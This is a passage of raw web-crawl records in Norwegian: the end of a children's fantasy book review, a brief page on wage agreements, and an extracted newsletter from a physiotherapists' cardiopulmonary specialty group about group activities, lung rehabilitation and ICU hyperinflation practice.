ikke bra \u2013 Siv blir forgiftet. Det er tydelig at de er p\u00e5 sporet av noe som er langt st\u00f8rre og farligere enn de trodde.\n\n**Er Harml\u00f8s harml\u00f8s?**  \nEn av de tingene Siv husker fra bes\u00f8ket p\u00e5 vertshuset, er at moren hennes snakket med en ukjent mann. Mannen var kappekledt og hadde tatoveringer oppover armene. Men hvem er han, og hva vil han i landsbyen? Siv konfronterer moren sin, og da sier hun at han er Harml\u00f8s. Men kan de virkelig v\u00e6re sikre p\u00e5 det? Man skulle tro at det var lett \u00e5 velge den lyse siden. Men enkelte ganger er det ikke s\u00e5 lett \u00e5 vite hvem som representerer de gode kreftene og hvem som er de onde. Er de s\u00e5kalte Lykkeravnene virkelige s\u00e5 farlige som jarlen skal ha det til?  \n  \n**Klassisk fantasy**  \nLykkeravnene er er en klassisk og spennende fantasyfortelling om kampen mellom gode og onde krefter. Vi f\u00f8lger Siv og vennene i deres s\u00f8ken etter sannheten. Hvem er egentlig Lykkeravnene, og hva var det som skjedde den gangen jarlens kone forsvant? Dette er en super bok for unge lesere i slukealderen, og en super inngangsport til senere store leseopplevelser, som Ringenes herre og D\u00f8dslekene. God lesning\\!\n\n    Utgitt: 2014  \n    Forlag: Aschehoug  \n    Spr\u00e5k: Norsk Bokm\u00e5l  \n    ISBN: 9788203257780  \n    Utgave: 1. utg.  \n    Orig.tittel: The luck uglies  \n    Alder: Barn 9-12  \n     Format: 21 x 14 cm  \n", "language": "no", "__index_level_0__": "db01d14d-b0a5-4025-8751-ed66bceab6b7"}
{"url": "http://www.spleiselaget.no/artikler/tariffavtale", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:25:52Z", "text": "# Tariffavtale\n\n20.03.18\n\nMange virksomheter har inng\u00e5tt tariffavtaler. Det er avtaler om l\u00f8nn og andre rettigheter mellom arbeidsgiver- og arbeidstakerforeningene.\n\nEr du ansatt i en virksomhet som er bundet av en tariffavtale vil du som ansatt ogs\u00e5 kunne v\u00e6re bundet av avtalen.\n\nTa kontakt med arbeidsgiver eller tillitsvalgt for mer informasjon om aktuelle tariffavtaler som regulerer ditt arbeidsforhold p\u00e5 arbeidsplassen.\n\n", "language": "no", "__index_level_0__": "b555c2bc-9bc7-4468-a6e2-66cf6ac2fc89"}
{"url": "http://docplayer.me/2672780-Norsk-fysioterapeutforbund.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-25T00:12:37Z", "text": "\n\n3 3\n\n\n\n4 Leder har ordet Hei p\u00e5 deg kollega som har valgt \u00e5 v\u00e6re medlem i v\u00e5r lille faggruppe. Ja, for vi er blant de sm\u00e5 gruppene og ligger under sperregrensen p\u00e5 200 medlemmer som er et av kravene NFF har for \u00e5 etablere en faggruppe. Vi oppfyller heldigvis andre s\u00e6rlige forhold som tilsier at vi b\u00f8r gis faggruppestatus. Men dette er ikke godt nok for oss\\! Vi \u00f8nsker \u00e5 bli en ekte faggruppe som oppfyller alle krav. M\u00e5let v\u00e5rt innen neste \u00e5rsm\u00f8te i 2014 er derfor \u00e5 \u00f8ke medlemsmassen til over 200. Jeg h\u00e5per at du som medlem har lyst til \u00e5 hjelpe oss, og som premie f\u00e5r du fritt medlemskap i ett \u00e5r for hvert medlem du klarer \u00e5 verve. Se mer informasjon om dette i faktaboksen nederst p\u00e5 siden. I forrige utgave av Hjertesukket etterlyste jeg engasjement og innspill fra dere. Det var derfor med stor glede jeg mottok mail fra en engasjert intensivfysioterapeut fra \u00d8stfold, Hilde Nesengen. Vi i styret \u00f8nsker at faggruppen skal f\u00e5 st\u00f8rre fokus p\u00e5 nettopp intensivfeltet, og h\u00e5per innlegget Hilde har skrevet om det internasjonale intensivnettverket, vil v\u00e6re nyttig for flere av v\u00e5re medlemmer. Jeg har ogs\u00e5 mottatt tips fra dere om spennende og aktuelle kurs i b\u00e5de Sverige og Danmark som jeg har kunnet videreformidle til alle. Norge er gode p\u00e5 rehabilitering, Sverige p\u00e5 intensiv og Danmark har mange spennende prosjekter i forhold til prim\u00e6rhelsetjenesten. Vi har stor tro p\u00e5 \u00e5 utveksle den fagkompetansen som finnes i Skandinavia, og derfor er slike tips fra dere verdifulle. Alle vi i fag- og interessegruppene i NFF er spente p\u00e5 utfallet av h\u00f8stens landsm\u00f8te (LM) som holdes p\u00e5 Hamar i slutten av november. Der skal den nye organisasjonsmodellen legges fram som sak, og sjansen er stor for at NFFs 20 avdelinger avskaffes til fordel for 5 regioner. Hvilken rolle vi f\u00e5r i den nye modellen er fortsatt uklart, og s\u00e5 langt er vi ikke ber\u00f8rt av omorganiseringen. 11 av faggruppene mener det er viktig at det blir diskutert og har fremmet en sak til LM: Faggruppenes rolle og funksjon i NFF. Har dere synspunkter dere vil jeg skal ta med meg til LM, er det veldig fint om dere kontakter meg. Husk det er blant annet deg og dine synspunkter jeg skal representere p\u00e5 LM. Faggruppens viktigste kunnskapsbidrag er v\u00e5rt \u00e5rlige seminar. Vi ser p\u00e5 dette som en ypperlig anledning til \u00e5 bli kjent med de ulike fagmilj\u00f8ene innen hjerte- og lungefysioterapi som finnes rundt omkring i Norge. Derfor er vi utrolig stolte av \u00e5 kunne annonsere Nord-Norge som vertslandsdel for neste \u00e5rs seminar og h\u00e5per at dere vil v\u00e6re med oss til Troms\u00f8 i mars Med \u00f8nske om en fin h\u00f8st. Anita Grongstad Leder Vervekampanje Vi vil gjerne ha din kollega som medlem, og trenger derfor din hjelp. Per i dag har faggruppen 195 registrerte medlemmer, men innen sommeren 2014 \u00f8nsker vi \u00e5 n\u00e5 det magiske antallet - 200\\! For hvert medlem du verver vil du f\u00e5 ett \u00e5r gratis medlemskap i faggruppen. Les mer om medlemsfordelene p\u00e5 side 16 for \u00e5 overbevise din kollega. Slik g\u00e5r du frem: Det nye medlemmet melder seg inn via faggruppens sider p\u00e5 Du sender en e-post til med ditt navn og navnet p\u00e5 den du har vervet. Vi s\u00f8rger for at du fritas for medlemskontingent\n\n\n\n5 Presentasjon av nye styremedlemmer Brit Hov Brit var ferdig utdannet fysioterapeut ved Reha-Zentrum Berlin i 1990, og v\u00e5ren 2012 fullf\u00f8rte hun en mastergrad i Klinisk fysioterapi med fordypning i hjerte og lunge fra H\u00f8gskolen i Bergen. Masteroppgavens tittel var Airstacking med bag til barn og unge med nevromuskul\u00e6r sykdom. Med eller uten ventil? Brit har for \u00f8vrig gjennomf\u00f8rt jevnlige videreutdanninger, blant annet Fysioterapi til barn (HiO), Helse- og veiledningspedagogikk (HiBo og HiO) og Prosjekt- og teamledelse (HiNT og BI). I tillegg har hun ogs\u00e5 gjennomf\u00f8rt flere omfattende etterutdanninger p\u00e5 nasjonale og internasjonale kongresser og kurs. Brit har v\u00e6rt ansatt ved Barnemedisinsk avdeling, Oslo Universitetssykehus Ullev\u00e5l siden Fra 2005 har hun ogs\u00e5 v\u00e6rt tilknyttet Nasjonalt kompetansesenter for hjemmerespiratorbehandling (NKH) som prosjektmedarbeider. Hun har tidligere startet og arbeidet ved L\u00e6ring og Mestringssenter for barn, unge og deres nettverk (LMS-barn; ). Annen arbeidserfaring har hun fra Steinkjer kommune ( ), Innherred sykehus ( ), Aker sykehus ( ), som vikar p\u00e5 institutt og fysioterapeut for eliteserielag i h\u00e5ndball. Brit er spesialist i fysioterapi til barn og unge MNFF og har hovedinteressefelt barn og unge med lungeproblematikk samt mestring av kronisk sykdom. Hun er opptatt av kompetansespredning b\u00e5de til fagpersonell og brukere og deres nettverk. Hun er kursleder for NFF kurset Fysioterapi for barn og unge med lungesykdommer, hun var med i arbeidet med \u00e5 utvikle undervisningsmateriellet Med p\u00e5 det meste og hun fungerte som prosjektleder for filmen Trikset i regi Nasjonal Plan for Astmaskoler (NPAS). I tillegg har hun utviklet ulike e-l\u00e6ringsverkt\u00f8y og underviser og foreleser jevnlig i ulike fora. Brit ser spesielt frem til \u00e5 engasjere seg i faggruppens viktige arbeid for \u00e5 fremme god lungefysioterapi til barn og intensivpasienter. Styret \u00f8nsker Brit velkommen som nytt styremedlem\\! Faggruppens utviklingsstipend 2013: Vi gratulerer\\! Vi har den glede av \u00e5 presentere fire heldige mottakere av faggruppens utviklingsstipend av kr 4500,- i To stipend deles ut p\u00e5 bakgrunn av god \u00f8konomisk styring i I tillegg overf\u00f8res to stipend 2012, da disse aktivitetene dessverre ikke ble gjennomf\u00f8rt som planlagt. Innen s\u00f8knadsfristen den 15.august hadde vi mottatt 20 gode s\u00f8knader, noe som gjorde utvelgelsen krevende for styret. De fire stipendene fordeles i 2013 p\u00e5 f\u00f8lgende personer: Elfrid Herre Staveland og Ingunn Mj\u00f8s, Haukeland universitetssykehus. Hospiteringsbes\u00f8k. Inga Baltaduonyte, Odda Sykehus Helse-Fonna. Kurs intensivfysioterapi. Ann Cathrin Aarseth Madsen, Skogli Helse og rehabiliteringssenter. Kurs hjerterehabilitering. Linda Spigseth, Vorma Fysioterapi. Kurs aktiv lungerehabilitering. Les mer p\u00e5 side 19/20. Vi oppfordrer alle v\u00e5re medlemmer til \u00e5 s\u00f8ke p\u00e5 faggruppens utviklingsstipend ved neste anledning. 5\n\n\n\n\n\n7 Foto: Alle bilder er fra Aktiv Eiker sitt eget bildearkiv. Innlegg Av: Ellen Aure Skogedal, Spesialist i hjerte- og lungefysioterapi Aktiv Eiker Jeg har flere ganger f\u00e5tt sp\u00f8rsm\u00e5l fra fysioterapeuter i hjerte-/lungemilj\u00f8et om organisering og arbeidsoppgaver p\u00e5 en frisklivssentral. I den forbindelse er jeg blitt oppfordret til \u00e5 presentere min arbeidsplass i Hjertesukket. BEGREPSAVKLARING Frisklivssentralen er en kommunal helse- og omsorgstjeneste med tilbud om hjelp til \u00e5 endre levevaner, prim\u00e6rt innenfor omr\u00e5dene fysisk aktivitet, kosthold og tobakk. M\u00e5lgruppen er personer som har behov for st\u00f8tte til \u00e5 endre levevaner p\u00e5 grunn av \u00f8kt risiko for eller begynnende utvikling av sykdommer eller lidelser som kan relateres til levevaneomr\u00e5dene. Frisklivssentralen har fokus p\u00e5 helsefremmende faktorer og mestring av egen helse. Frisklivssentralen gir strukturert oppf\u00f8lging, prim\u00e6rt gjennom individuell helsesamtale og ulike gruppetilbud innen de nevnte levevaneomr\u00e5dene. Frisklivsresept er en henvisningsblankett som gir tilgang til et tidsbegrenset, strukturert veilednings- og oppf\u00f8lgingstiltak som starter og avsluttes med en helsesamtale. Det kan gjelde b\u00e5de voksne, barn og familie, litt avhengig av kommunens tilbud. Det er flest leger og fysioterapeuter som henviser, men ogs\u00e5 andre helseinstanser kan gj\u00f8re det. Deltagerne kan ogs\u00e5 opps\u00f8ke sentralen uten resept, det gir tilgang til samme oppf\u00f8lging og egenandel. For mer informasjon henvises til Helsedirektoratets Veileder for kommunale frisklivssentraler. FRISKLIVSSENTRALEN AKTIV EIKER Frisklivssentralen Aktiv Eiker ble igangsatt som et tilbud i \u00d8vre Eiker kommune i 2003, og fra 2008 har den v\u00e6rt et interkommunalt tilbud til befolkningen i \u00d8vre og Nedre Eiker kommune. Vi er fire fast ansatte som dekker Eikerkommunene med til sammen ca innbyggere. V\u00e5re tilbud: Frisklivssentralen drifter tilbud som er \u00e5pne for alle og tilbud til spesielle m\u00e5lgrupper: \u00c5pne for alle Spesielle m\u00e5lgrupper Barn/unge Aktiv p\u00e5 skoleveien (3.-10.kl.) Trivselsledere (4.-7.kl.) Barnas Turlag (2-12 \u00e5r) Mor/far/barn-trim Helse og Livsstil, \u00e5r Aktiv 13-16\u00e5r Friskliv familie, 6-18 \u00e5r under utvikling Voksne Lavterskelgrupper Folkehelsedagen Trilletrening Frisklivresept Slik er de etablerte tilbudene til spesielle m\u00e5lgrupper tilrettelagt hos oss: Helse og livsstil \u00e5r: Sitat fra deltager: Jeg er faktisk glad for at jeg er litt overvektig, for da fikk jeg v\u00e6re med i dette tilbudet og da fikk jeg venner\\! 7\n\n\n8 Innlegg fortsetter Dette er et samarbeid mellom familiesentrene/helses\u00f8stre, fysioterapitjenesten og Aktiv Eiker, som gir tilbud til inaktive og/eller overvektige familier med barn i alderen \u00e5r. Det er variert aktivitet 2 ganger/uke for barna, samt 1 gang/m\u00e5ned for hele familien med innlagt tema. Det f\u00f8lges ogs\u00e5 opp med samtaler individuelt og i gruppe. M\u00e5let er \u00e5 stimulere barn til \u00f8kt fysisk aktivitet, skape glede og mestring ved \u00e5 v\u00e6re i aktivitet, samt \u00f8ke bevissthet p\u00e5 kosthold og livsstil for barna og deres familier. Aktiv \u00e5r: Dette er en aktivitetsgruppe for ungdomsskoleelever p\u00e5 trinn, som ikke deltar i annen organisert idrett p\u00e5 fritiden. Den best\u00e5r av en times styrt hallaktivitet opptil 3 ganger i uka, like etter skoletid. Vi fokuserer p\u00e5 styrke, kondisjon, lek og \u00e5 ha det g\u00f8y\\! Frisklivsresept voksne Reseptdeltakerne henvises p\u00e5 bakgrunn av at de har behov for veiledning for \u00e5 f\u00e5 til \u00e5 \u00f8ke aktivitetsniv\u00e5et, endre kostholdet og/eller r\u00f8ykeslutt. Mange av dem har somatiske sykdommer som hjerte-/kar, astma og KOLS, diabetes, metabolsk syndrom, overvekt, muskel-/skjelettplager og psykiske plager/lidelser. De som henvises p\u00e5 frisklivsresept f\u00f8lges opp med helsesamtaler med bruk av motiverende intervju som samtaleverkt\u00f8y. Samtalene gjennomf\u00f8res ved oppstart, underveis etter behov og ved avslutning. Deltakerne deltar i treningsgruppe to ganger per uke over 12 uker, samt p\u00e5 tematimer med fokus p\u00e5 endring og egenmestring. En gang i m\u00e5neden har vi aktivitetsdager, der deltakerne f\u00e5r pr\u00f8ve ulike aktiviteter som de kan rekrutteres videre til. Eksempler p\u00e5 aktiviteter kan v\u00e6re ulike typer ballspsill, ulike typer dansegrupper, turorientering, vinteraktiviteter, nye turl\u00f8yper/-omr\u00e5der med mer. P\u00e5 alle v\u00e5re aktiviteter har vi med aktivitetsledere, som gjerne selv har deltatt p\u00e5 frisklivsresept, har lykkes i egen endringsprosess, og har motivasjon og anledning til \u00e5 stille opp p\u00e5 frivillig basis. Deres rolle er blant annet \u00e5 se og snakke med deltakere, hjelpe til praktisk og lede gruppeaktiviteter. Gjennom dette forsterker de gjerne egen mestring. Vi har oppdatert oversikt over ulike aktivitetstilbud i de aktuelle kommunene, noe som gj\u00f8r det lettere \u00e5 fase deltakere videre til andre tilbud etter frislivsresept, eller koble dem direkte p\u00e5 en aktivitet de \u00f8nsker uten \u00e5 g\u00e5 veien om reseptdeltakelse. M\u00e5let er \u00e5 f\u00e5 folk videre. Sitat fra deltaker: Legen lurte p\u00e5 hva i alle dager jeg hadde gjort for \u00e5 oppn\u00e5 normalt blodsukker igjen. Jeg svarte at jeg hadde deltatt p\u00e5 frisklivsresept, med strukturert oppf\u00f8lging av kosthold og fysisk aktivitet. 8\n\n\n\n\n\n\n\n\n\n\n\n10 Innlegg fortsetter Likemann/lavterskel For \u00e5 f\u00e5 deltakerne videre, er vi avhengig av ulike lavterskelgrupper \u00e5 sende dem til etter fullf\u00f8rt frisklivsresept, da organisert idrett/aktivitet ofte ikke er det som appellerer til denne m\u00e5lgruppen for \u00e5 opprettholde aktivitetsniv\u00e5et i hverdagen. Frisklivssentralen er gjerne igangsetter for disse gruppene, med hjelp av aktivitetesledere/likemenn som gradvis overtar styringen. Gruppene etableres der det er behov i lokalmilj\u00f8et. Attf\u00f8ringstiltak Vi samarbeider med attf\u00f8ringsbedrifter om tilbud til personer p\u00e5 tiltak da vi ser at de ofte er i d\u00e5rlig fysisk form og trenger hjelp til livsstilsendring, f\u00f8r de kan vurderes i arbeid. For de som har bedre helse og er klar for abeidspraksis er vi en praksisplass. Andre tilbud: Andre \u00e5pne for alle -tilbud vi har hatt dette \u00e5ret er aktiv p\u00e5 skoleveien, trivselsledere, mor/far/ barn-trim, har aldri g\u00e5tt p\u00e5 ski-kurs, trilletrening og diverse lavterskelgrupper. Daglig leder har tett dialog med politikere og andre samarbeidspartnere. Vi bruker media og facebook i stor grad for \u00e5 markedsf\u00f8re nye tilbud. M\u00e5let v\u00e5rt er \u00e5 korte broen mellom helsehjelp og egenmestring, blant annet ved \u00e5 f\u00e5 folk til \u00e5 delta i et samfunnstilbud. Det er en spennende arbeidsplass, med stadig utvikling av tilbud, mye ansvar for den enkelte og et godt faglig og sosialt arbeidsmilj\u00f8. 10\n\n\n\n11 Illustrasjoner: Hege B\u00f8/NPas Innlegg Har du sett animasjonsfilmen Trikset? Av: Brit Hov, MSc/Spesialist i fysioterapi til barn og unge OUS Ullev\u00e5l/Nasjonalt kompetansesenter for hjemmerespiratorbehandling Ane b\u00e5de gleder og gruer seg til den viktige kampen, motstanderen har nemlig super dribleren Ali. Kampen tar imidlertid en uventet vending og da er det ikke bare fotballtriks som viser seg nyttig\\! En film for de fleste, om barn med astma, som er Med p\u00e5 det meste\\! Du kan se Trikset direkte p\u00e5 NAAFs nettsider. Filmen er laget for barn som har astma og en del av undervisningspakken Med p\u00e5 det meste\\! Den best\u00e5r av Ane og Bronky i farta\\! ei bok for barn 5-10 \u00e5r Foreldrehefte med kunnskap om barn og astma Veileder for helsepersonell Bilder, Fargeleggingshefte, diplomer, oppgaver og annet som egner seg ved ulike former for astmaskoler. I tillegg er det laget en lydbok som kan h\u00f8res p\u00e5 fra nettet. Med p\u00e5 det meste\\! er et helsepedagogisk verkt\u00f8y som ble utviklet av Nasjonal plan for astmaskoler (NPAS), Barnemodulen. NPAS er n\u00e5 nedlagt, men materiellet er overtatt av Norges Astma- og Allergiforbund (NAAF). Du husker kanskje voksenmodulen Skipper p\u00e5 egen skute? Den og en del annet, blant annet oversatt materiell p\u00e5 flere spr\u00e5k kan lastes ned og bestilles p\u00e5 Premiering av det beste bidraget i Hjertesukket Det beste bidraget i Hjertesukket blir hvert \u00e5r premiert med et gavekort p\u00e5 kr. 1000,-. Bidragene vurderes fortl\u00f8pende, behandles p\u00e5 siste styrem\u00f8te f\u00f8r \u00e5rsm\u00f8tet og resultatet kunngj\u00f8res p\u00e5 \u00e5rsm\u00f8tet. Neste tildeling blir ved \u00e5rsm\u00f8tet i Bidragene kan v\u00e6re alt fra en anmeldelse av en bok eller artikkel, en prosjektrapport eller prosjektbeskrivelse, en jobbpresentasjon, et innlegg om et fagomr\u00e5de eller tema; svar p\u00e5 tidligere innlegg/kronikker eller i det hele tatt om noe som opptar dere\\! Frist for innsending av bidrag til 2014-nummeret er 30. juni\n\n\n\n\n\n\n\n14 Innlegg Oppstart av lungegruppe i Nittedal kommune Av: Jenny Hammer og Elin Kulsrud Kristensen Fysioterapeuter Nittedal kommune Bakgrunn til oppstart av gruppetilbud for innbyggere i Nittedal med lungeproblematikk: I Hjertesukket nr.1 oktober 2012 s.7 beskriver NFF s forbundsleder Eilin Ekeland i sin kronikk f\u00f8lgende \u00abet bedre lokalt utbygd fysioterapitilbud til hjerte- og lungepasienter, med god veiledning fra fysioterapeuter i spesialisthelsetjenesten vil v\u00e6re en klok m\u00e5te og forvalte resursene p\u00e5. Dette m\u00e5 NFF som forbund, b\u00e5de vi sentralt, faggruppens ledelse og dere som jobber i fagmilj\u00f8 jobbe for \u00e5 f\u00e5 til. Det er til beste for pasientene\\!\\!\u00bb Fokuset i oppstarten av denne gruppen har v\u00e6rt todelt. Hovedfokuset har v\u00e6rt \u00e5 opprette gode tjenester for kommunens innbyggere som kan bidra til \u00f8kt livskvalitet og mestring i hverdagen. Et annet viktig fokus har v\u00e6rt muligheten for \u00e5 redusere kommunens utgifter p\u00e5 reinnleggelser av pasienter med lungesykdom i Nittedal, samt bedre samarbeid mellom spesialisthelsetjenesten og de kommunalt ansatte fysioterapeutene. Vi er fortsatt i oppstartsfasen og har som m\u00e5l \u00e5 gi et kontinuerlig tverrfaglig tilbud til lungepasienter i Nittedal. Dette er slik vi forst\u00e5r det i tr\u00e5d med intensjonen i samhandlingsreformen. I 2012 kom de f\u00f8rste offentlige Folkehelseprofilene fra SSB, denne ga en indikasjon om at Nittedal kommune l\u00e5 h\u00f8yt p\u00e5 indikatoren reinnleggelser av lungepasienter sammenlignet med landet for \u00f8vrig. Dette ga oss en indikasjon om et behov hos kommunens innbyggere, og i tr\u00e5d med samhandlingsreformens intensjon om \u00e5 forebygge mer og reparere mindre, startet vi et pilotprosjekt h\u00f8sten 2012 med tilbud om gruppetrening for lungepasienter. Beskrivelsen av treningstilbudet: Kurset gikk over 8 uker med trening 2gr/uken (varighet 1t) fordelt s\u00f8r og nord i kommunen. Vi testet i forkant og etterkant av perioden med 6 min gangtest med pulsoksymeter og Borgs skala. Det ble ogs\u00e5 brukt CAT (COPD assessment test) for \u00e5 fange opp hvor mye KOLS p\u00e5virker hverdagen til den enkelte. M\u00e5let var \u00e5 p\u00e5virke b\u00e5de de sentrale og perifere begrensningene i forhold til lungeproblematikken. Treningen bestod av en \u00f8kt med styrketrening en kondisjon- og bevegelighetstrening. Treningen hadde en oppvarmingsdel og en avslutningsdel med t\u00f8yning og avspenning. Kombinasjon av trening og veiledning i forhold til fysisk og psykisk helse, samt kunnskap om sykdommen virker \u00e5 v\u00e6re en god strategi for \u00e5 oppn\u00e5 langtidseffekt. Vi valgte derfor \u00e5 undervise om temaene: fysisk aktivitet, hvilestillinger, hensiktsmessig pusteteknikk, ern\u00e6ring og energi\u00f8konomisering, veien videre og informasjon om andre tilbud i kommunen. M\u00e5let med lungegruppen er \u00e5 \u00f8ke evnen til aktivitet og deltakelse, redusere tungpust, bedre livskvalitet og \u00f8kt mestringsf\u00f8lelse. Ingrid og fysioterapeut Jenny Hammer gj\u00f8r utfall med frie vekter. 14\n\n\n\n15 Innlegg fortsetter Oppstart av lungegruppe i Nittedal kommune Pasienterfaringer fra pilotprosjektet: \u00abKan jeg klare dette?\u00bb var det f\u00f8rste Ingrid Qualben, tidligere deltaker, tenkte da hun takket ja til \u00e5 v\u00e6re med p\u00e5 trening for lungesyke. Hun fremhever at det \u00e5 sette m\u00e5l for treningen er viktig for \u00e5 holde motivasjon og gnisten oppe. Hun opplevde at treningen var hard men at den foregikk i trygge rammer med kontinuerlig tilbakemeldinger fra terapeutene. Deriblant l\u00f8pende informasjon om blant annet hensiktsmessige pusteteknikker og Borg skala, noe Ingrid understreker er et verkt\u00f8y hun benytter daglig. Funksjonelle \u00f8velser som lett kan implementeres i hverdagen er et viktig poeng. Jeg benytter \u00f8velser fra treningsperioden daglig, deriblant trening med strikk. Fysioterapeutene b\u00f8r v\u00e6re tilgjengelige for individuelle samtaler og fortl\u00f8pende motivasjon. Terapeutene gjorde s\u00e5nn at vi fikk lyst til \u00e5 trene, og jeg merket at jeg kunne yte litt mer for hver gang. Ingrid forteller videre at det er viktig \u00e5 ta initiativ til egentrening i tillegg til den organiserte treningen. Etter avsluttet treningstilbud er det viktig at vi som deltakere ikke blir etterlatt til oss selv men introduseres for andre treningstilbud i n\u00e6rmilj\u00f8et, sier hun. Ingrid Qualben gj\u00f8r benpress. 4 x 4 reps med s\u00e5 tung motstand som mulig. Utfordringer: I begynnelsen var rekrutteringen noe utfordrende, da v\u00e5rt tilbud var i en oppstartfase og tilbudet lite kjent blant fastleger. Inklusjonskriterier som vi valgte \u00e5 bruke var mildmoderat lungesykdom og innbyggere som hadde mulighet \u00e5 trene utenfor hjemmet. Samarbeidspartner og markedsf\u00f8ring av lunge- gruppen foregikk gjennom mail korrespondanse og informasjonsbrev til samtlige legekontor i Nittedal Kommune. Videre har vi henvendt oss til andre kommunale tjenester som tildelingsenheten, frisklivssentralen, innsatsteamet og hjemmesykepleien som jobber i f\u00f8rstelinjetjenesten med hjemmeboende. Ingrid og Jenny tar kneb\u00f8y. I tillegg til styrketrening er det ogs\u00e5 viktig \u00e5 arbeide med bevegelighet i overkroppen. Evaluering etter avsluttet treningsperiode resulterte i noen endringer, deriblant rekruttering av pasienter der flere akt\u00f8rer ble informert om tilbudet, og en bedre markedsf\u00f8ring via lokalavisen Varingen v\u00e5ren V\u00e5rt tips til andre kommuner som \u00f8nsker \u00e5 starte opp lignende tilbud kan v\u00e6re \u00e5 komme i dialog med Glittreklinikken, LHL, aktiv markedsf\u00f8ring gjennom lokalavisa og hos fastlegekontorer, og hospitering hos kommuner med eksisterende tilbud\\! Veien videre.. P\u00e5 sikt er det \u00f8nskelig med en ern\u00e6ringsfysiolog som kan informere om kosthold, samt en ergoterapeut som underviser om energi\u00f8konomisering og ADL. For \u00e5 ivareta den psykiske helsen er det behov for en psykolog som kan informere om hvordan takle en hverdag best mulig med kronisk sykdom. P\u00e5 sikt ser vi for oss at vi holder grupper for b\u00e5de mild-moderat GOLD 1-3 og GOLD 4 i to separate grupper. Vi \u00f8nsker \u00e5 styrke likemannsarbeidet som allerede er etablert i Nittedal Kommune, og videreutvikle samarbeidet med de privatpraktiserende fysioterapeutene. Etter treningstilbudet kan pasientene delta i det ordin\u00e6re tilbudet til Frisklivssentralen (18-67 \u00e5r). 15\n\n\n\n\n\n17 Innlegg Hyperinflasjon som fysioterapitiltak til mekanisk ventilerte voksne intensivpasienter Av: Kenneth Lytts, Spesialfysioterapeut OUS Rikshospitalet Rapport fra prosjektet Kunnskapsbaserte retningslinjer for fysioterapi til den mekanisk ventilerte voksne intensivpasienten. Innledning Hyperinflasjon er et tiltak som kan brukes til intuberte/tracheotomerte intensivpasienter for \u00e5 \u00e5pne opp atelektaser og evakuere sekret fra lungene. S\u00e5ledes opprettholdes optimal lungefunksjon under respiratorbehandling og legger til rette for raskest mulig respirator-avvenning og ekstubering. En hyperinflasjon inneb\u00e6rer at det gis et \u00f8kt tidevolum med langsom inspiratorisk flow, eventuelt med bruk av et kort inspiratorisk hold. Tiltaket brukes helst sammen med optimal leiring og kan kombineres med manuelle teknikker p\u00e5 thoraks. Hyperinflasjoner kan gis manuelt med hjelp av en resusciteringsbag, og kalles da manuell hyperinflasjon (MHI) eller bagging eller med hjelp av pasientens ventilator, s\u00e5kalt ventilatorhyperinflasjon (VHI). p\u00e5 respiratoren var antagelig inspirert av legenes rekrutteringsman\u00f8vre. Tiltaket skiller seg dog fra den tradisjonelle baggingen i det topptrykket og tidevolumet ikke \u00f8kes. I 2003 fant jeg st\u00f8tte i faglitteraturen for bruk av leiring som det prim\u00e6re fysioterapitiltak for atelektaseprofylakse og behandling, samt for bruk av manuell hyperinflasjon for \u00e5 \u00e5pne opp atelektaser, bedre saturasjon, bedre lungenes ettergivelighet, og for \u00e5 evakuere ekspektorat. Jeg hadde tro p\u00e5 at hyperinflasjon hadde noe for seg n\u00e5r det ble brukt riktig. H\u00f8sten 2010 begynte jeg i ny jobb p\u00e5 Rikshospitalet. Jeg oppdaget at bagging ble lite brukt og heller ikke respiratoren i hyperinflasjonshensikt hadde blitt innf\u00f8rt. Jeg f\u00f8lte meg hemmet i min fagut\u00f8velse n\u00e5r jeg m\u00f8tte p\u00e5 respiratorpasienter med atelektaser og sekretstagnasjon, hvor jeg ikke n\u00e5dde frem med andre tiltak. Dette gjaldt spesielt de sederte pasientene. Jeg har valgt \u00e5 sammenligne dette med \u00e5 drive med lungefysioterapi til v\u00e5kne samarbeidende pasienter, for eksempel i bruk av aktiv syklus, uten at man f\u00e5r lov \u00e5 utf\u00f8re thoraksekspansjoner, det vil si trekke aktive dype pust. Bakgrunn Da jeg begynte som fysioterapeut p\u00e5 Ullev\u00e5l Sykehus i 1995 l\u00e6rte jeg \u00e5 bruke manuell hyperinflasjon med L\u00e6rdals bag som en del av lungefysioterapien til respiratorpasienter. Dette for \u00e5 evakuere sekret og \u00e5pne opp atelektaser. Etter hvert ble det innf\u00f8rt lukkede sug og det oppsto en motvilje mot \u00e5 koble pasienten fra kretsen, noe som var n\u00f8dvendig ved bagging. Man var redd for \u00e5 miste det positive endeekspiratoriske trykket og man trodde at frakoblingene kunne gi st\u00f8rre fare for ventilatorassosiert pneumoni (VAP). Det ble etter hvert f\u00e6rre fysioterapeuter som mestret bagging. Legene drev samtidig med en del rekrutteringsman\u00f8vre til pasienter med Acute Respiratory Distress Syndrom (ARDS), som innebar \u00e5 utf\u00f8re et inspiratorisk hold med \u00f8kte trykk p\u00e5 respiratoren, ofte b\u00e5de endeekspiratorisk trykk og topptrykk. Da baggingen gradvis ble mindre brukt, tok noen fysioterapeuter i bruk inspiratorisk hold p\u00e5 respiratoren som en slags erstatning med liten eller ingen \u00f8kning av trykkene. At noen av fysioterapeutene tok i bruk inspiratorisk hold Arbeidet med \u00e5 utarbeide kunnskapsbaserte fagprosedyrer Det ble dannet en tverrfaglig gruppe som var enig i at dette var en viktig problemstilling \u00e5 ta tak i. Hensikten var \u00e5 utarbeide en kunnskapsbasert fagprosedyre der m\u00e5let var \u00e5 sikre kunnskapsbasert praksis ved bruk av hyperinflasjon som fysioterapitiltak til mekanisk ventilerte voksne intensivpasienter. Gruppen har i sitt arbeid fulgt minstekrav for fagprosedyrer beskrevet p\u00e5 nettsiden fagprosedyrer.no (1). Gruppesammensetningen var tverrfaglig med to fysioterapeuter, to leger og en intensivsykepleier representert i gruppen i tillegg til to veiledere. F\u00f8lgende personer har v\u00e6rt medlemmer av gruppen: Kenneth Lytts, Spesialfysio., Fagansvarlig fysioterapeut p\u00e5 Intensivavsnittet, Avd. for klinisk service, kreft-, kirurgi og transplantasjonsklinikken, OUS, Rikshospitalet (RH) - leder for gruppen. Hanne Hansen, Spesialfysioterapeut, samme avd.tilh\u00f8righet som over. 17\n\n\n\n18 Innlegg fortsetter Hyperinflasjon som fysioterapitiltak til mekanisk ventilerte voksne intensivpasienter Linda Wir\u00e9n, Intensivsykepleier, Generell Intensiv, OUS, RH. Per Kvandal, 